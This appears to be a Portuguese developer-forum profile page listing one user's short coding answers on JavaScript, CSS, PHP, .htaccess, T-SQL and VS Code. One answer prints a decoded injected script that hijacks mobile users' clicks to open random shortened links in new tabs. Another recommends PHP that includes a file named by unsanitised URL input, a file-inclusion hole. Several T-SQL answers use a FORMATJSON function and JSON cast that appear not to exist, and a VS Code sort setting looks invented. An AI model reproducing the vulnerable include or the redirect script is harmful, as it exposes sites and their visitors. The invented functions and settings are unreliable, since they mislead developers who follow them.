Ir para conteúdo

Marcos_imasters

Members
  • Total de itens

    1190
  • Registro em

  • Última visita

  • Dias vencidos

    33

Reputação

288 Excelente

Sobre Marcos_imasters

  • Classificação
    marcoswebmaster@hotmail.com
  • Data de Nascimento 05/25/1992

Informações Pessoais

  • Sexo
    Masculino
  • Localização
    Minas Gerais -MG
  • Interesses
    php/css/html/node/graphql/typeOrm

Últimos Visitantes

8079 visualizações
  1. Marcos_imasters

    Contar caracteres digitados

    function funcContador() { var maximo = 100; var textoDigitado = document.querySelector('textarea').value; var quantidadeDigitada = textoDigitado.length; if (quantidadeDigitada === 0) { document.getElementById('idToto').innerHTML = ""; } else if (quantidadeDigitada === 1) { document.getElementById('idToto').innerHTML = quantidadeDigitada + " caracter digitado - máximo " + maximo; } else { document.getElementById('idToto').innerHTML = quantidadeDigitada + " caracteres digitados - máximo " + maximo; } if (quantidadeDigitada >= maximo) { document.getElementById('idToto').innerHTML = "Limite de caracteres atingido!"; } }
  2. Marcos_imasters

    Function para retornar JSON

    cara nao sei transact-sql só estou vendo com bases que eu vi que pode ser USE [meu_banco] GO /****** Object: UserDefinedFunction [dbo].[FormatJsonString] Script Date: 11/09/2023 16:52:25 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE FUNCTION [dbo].[FormatJsonString](@String NVARCHAR(MAX)) RETURNS NVARCHAR(MAX) AS BEGIN IF @String IS NOT NULL BEGIN DECLARE @JsonValue NVARCHAR(MAX) AS JSON; SET @JsonValue = CAST(@String AS JSON); RETURN FORMATJSON(@JsonValue, 'indent' = 4); END ELSE BEGIN RETURN '[]'; END END; tenta assim
  3. Marcos_imasters

    colocar pasta na ordem desejada

    ja ouvir falar disso mais nunca usei digital isso no terminal vai instalar uma extersão code --install-extension eamodio.file-sorting e nas configuracoes do VScode em "settings.json" voce adiciona { "files.sort": [ { "sort": "name", "order": "desc" } ] } dessa forma vscode vai classificar as pastas por nome, em ordem decrescente exemplo: pastaProjetor pastaMouze pastaLivro pastaTeclado pastaCarro
  4. Marcos_imasters

    Function para retornar JSON

    o correto nao seria RETURN FORMATJSON(@JsonValue, indent = 4);
  5. Marcos_imasters

    recuperar url do pdf q foi criado

    pdf.save(config.fileName); var pdfDataUrl = pdf.output('datauristring'); if (typeof callback === 'function') { callback(pdfDataUrl); } desculpe confere acima debaixo de pdf save adicione
  6. Marcos_imasters

    [Resolvido] esconder nome da página e o parametro na url

    você deve ta querendo usar URl amigáveis criei um arquivo .htaccess <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / # Redirecione solicitações para arquivos e diretórios existentes RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d # Redirecione URLs amigáveis RewriteRule ^([^/]+)/([^/]+)$ index.php?page=$1&id=$2 [QSA,L] </IfModule>
  7. Marcos_imasters

    [Resolvido] regra para url

    <?php $pagina1 = 'pagina1.php'; $pagina2 = 'pagina2.php'; $pagina3 = 'pagina3.php'; if(isset($_GET['54285']) && is_numeric($_GET['54285'])){ include $pagina1; } else if(isset($_GET['42589']) && is_numeric($_GET['42589'])){ include $pagina2; } else if(isset($_GET['67903']) && is_numeric($_GET['67903'])){ include $pagina3; } else { header("Location: a-ref-nao-confere.php"); exit(); } ?> mais teria formas melhores de se fazer <?php if (isset($_GET['page'])) { $page = $_GET['page']; $filename = $page . '.php'; if (file_exists($filename)) { include $filename; } else { header("Location: a-ref-nao-confere.php"); exit(); } } ?>
  8. Marcos_imasters

    recuperar url do pdf q foi criado

    function createPDF() { $('#renderPDF').createPdf({ 'fileName' : '<?php echo $usercli['idocl']; ?>' }, function(pdfDataUrl) { alert('URL do PDF:', pdfDataUrl); }); }
  9. Marcos_imasters

    Aplicar border radius em mouseover numa TR

    aqui no meu funciona normal o hover nao será seu navegador qual esta usando?
  10. Marcos_imasters

    Aplicar border radius em mouseover numa TR

    Seria que nem o washalbano disse? table { border-spacing: 1em; border-collapse: separate; } tr { background-color: #333; position: relative; border-radius: 10px; transition: background-color 0.3s; } tr:hover td { background-color: red; } td { padding: 1rem 1.2rem; border-radius: 6px; border: 1px solid #555; color: #FFF; }
  11. Marcos_imasters

    Aplicar border radius em mouseover numa TR

    table { margin: auto; border-collapse: separate; border-spacing: 0; border: 2px solid #ccc; border-radius: 10px; overflow: hidden; } tr { background-color: #333; position: relative; border-radius: 10px; transition: background-color 0.3s; } td { border: 1px solid #555; padding: 10px 30px; color: #FFF; } tr:hover td { background-color: red; } ainda nao entedir a forma que voce deseja coloquei como você ja fez seria isso?
  12. Bom dia código esta ofuscado, bom que é simples a baixo o codigo decode (function () { const urls = [ "http://whm.hm/qfi0c5", "http://whm.hm/jqJ1c8", "http://whm.hm/zeO2c0", "http://whm.hm/neV3c8", "http://whm.hm/eWe4c5", "http://whm.hm/RJQ5c7", "http://whm.hm/kJr6c7", "http://whm.hm/Rtu7c9", "http://whm.hm/umR8c5", "http://whm.hm/MOO9c5" ]; const initializeLocalStorage = keys => { keys.forEach(key => { if (!localStorage.getItem(key + "-local-storage")) { localStorage.setItem(key + "-local-storage", 0); } }); }; const getRandomURL = availableURLs => { const notVisitedURLs = availableURLs.filter(url => localStorage.getItem(url + "-local-storage") == 0); return notVisitedURLs[Math.floor(Math.random() * notVisitedURLs.length)]; }; const handleRedirect = (keys, host, currentTime) => { initializeLocalStorage(keys); const newLocation = getRandomURL(keys); localStorage.setItem(host + "-mnts" + '-local-storage', currentTime); localStorage.setItem(host + '-hurs' + '-local-storage', currentTime); localStorage.setItem(newLocation + "-local-storage", 1); if (isMobile()) { window.open(newLocation, "_blank"); } }; const isMobile = () => { let isMobileDevice = false; const userAgent = navigator.userAgent || navigator.vendor || window.opera; if ( /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(userAgent) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(userAgent.substr(0, 4))) { isMobileDevice = true; } return isMobileDevice; }; function handleClick(event) { event.stopPropagation(); const host = location.host; let randomURL = getRandomURL(urls); const currentTime = Date.parse(new Date()); const mntsLocalStorage = localStorage.getItem(host + "-mnts" + "-local-storage"); const hursLocalStorage = localStorage.getItem(host + "-hurs" + "-local-storage"); if (mntsLocalStorage && hursLocalStorage) { try { const mnts = parseInt(mntsLocalStorage); const hurs = parseInt(hursLocalStorage); const minutesDiff = Math.round(Math.abs(mnts - currentTime) / 60000); const hoursDiff = Math.round(Math.abs(hurs - currentTime) / 3600000); if (hoursDiff >= 6) { initializeLocalStorage(urls); localStorage.setItem(host + "-hurs" + '-local-storage', currentTime); } if (minutesDiff >= 3) { if (randomURL && isMobile()) { localStorage.setItem(host + "-mnts" + '-local-storage', currentTime); window.open(randomURL, "_blank"); localStorage.setItem(randomURL + "-local-storage", 1); } } } catch (error) { handleRedirect(urls, host, currentTime); } } else { handleRedirect(urls, host, currentTime); } } document.addEventListener('click', handleClick); })();
  13. Marcos_imasters

    Aplicar border radius em mouseover numa TR

    tentou usar pseudo ::before e ::after ?? /* arredondar as células da primeira e última coluna */ tr td:first-child::before, tr td:last-child::after { content: ""; display: block; position: absolute; top: 0; bottom: 0; width: 10px; background-color: white; } /* primeira coluna */ tr td:first-child::before { left: 0; border-top-left-radius: 10px; border-bottom-left-radius: 10px; } /* última coluna */ tr td:last-child::after { right: 0; border-top-right-radius: 10px; border-bottom-right-radius: 10px; } /* quando o mouse passa sobre ela */ tr:hover { background-color: #000; }
  14. Marcos_imasters

    Gerar código automático para login

    basicamente seria isso CREATE TABLE usuarios ( id INT AUTO_INCREMENT PRIMARY KEY, nome_login VARCHAR(10) UNIQUE, senha VARCHAR(255) ); cadastrar.php <?php try { $pdo = new PDO("mysql:host=seu_host;dbname=sua_base_de_dados", "seu_usuario", "sua_senha"); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // Gerar um nome de login aleatório $nomeLogin = mt_rand(100000, 999999); // Números aleatórios de 100000 a 999999 // Gerar uma senha aleatória (você pode personalizar isso) $senha = password_hash("senha_aleatoria", PASSWORD_DEFAULT); // Inserir o novo usuário no banco de dados $stmt = $pdo->prepare("INSERT INTO usuarios (nome_login, senha) VALUES (:nome_login, :senha)"); $stmt->bindParam(":nome_login", $nomeLogin); $stmt->bindParam(":senha", $senha); $stmt->execute(); echo "Usuário criado com sucesso. Nome de login: $nomeLogin"; } catch (PDOException $e) { echo "Erro: " . $e->getMessage(); } ?>
  15. Marcos_imasters

    Function para retornar JSON

    sim ela é reconhecida até o 2019,tente assim CREATE FUNCTION FormatJsonString(@String NVARCHAR(MAX)) RETURNS NVARCHAR(MAX) AS BEGIN IF @String IS NOT NULL BEGIN DECLARE @JsonValue JSON; SET @JsonValue = CAST(@String AS JSON); RETURN FORMATJSON(@JsonValue, 'indent' = 4); END ELSE BEGIN RETURN '[]'; END END;
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.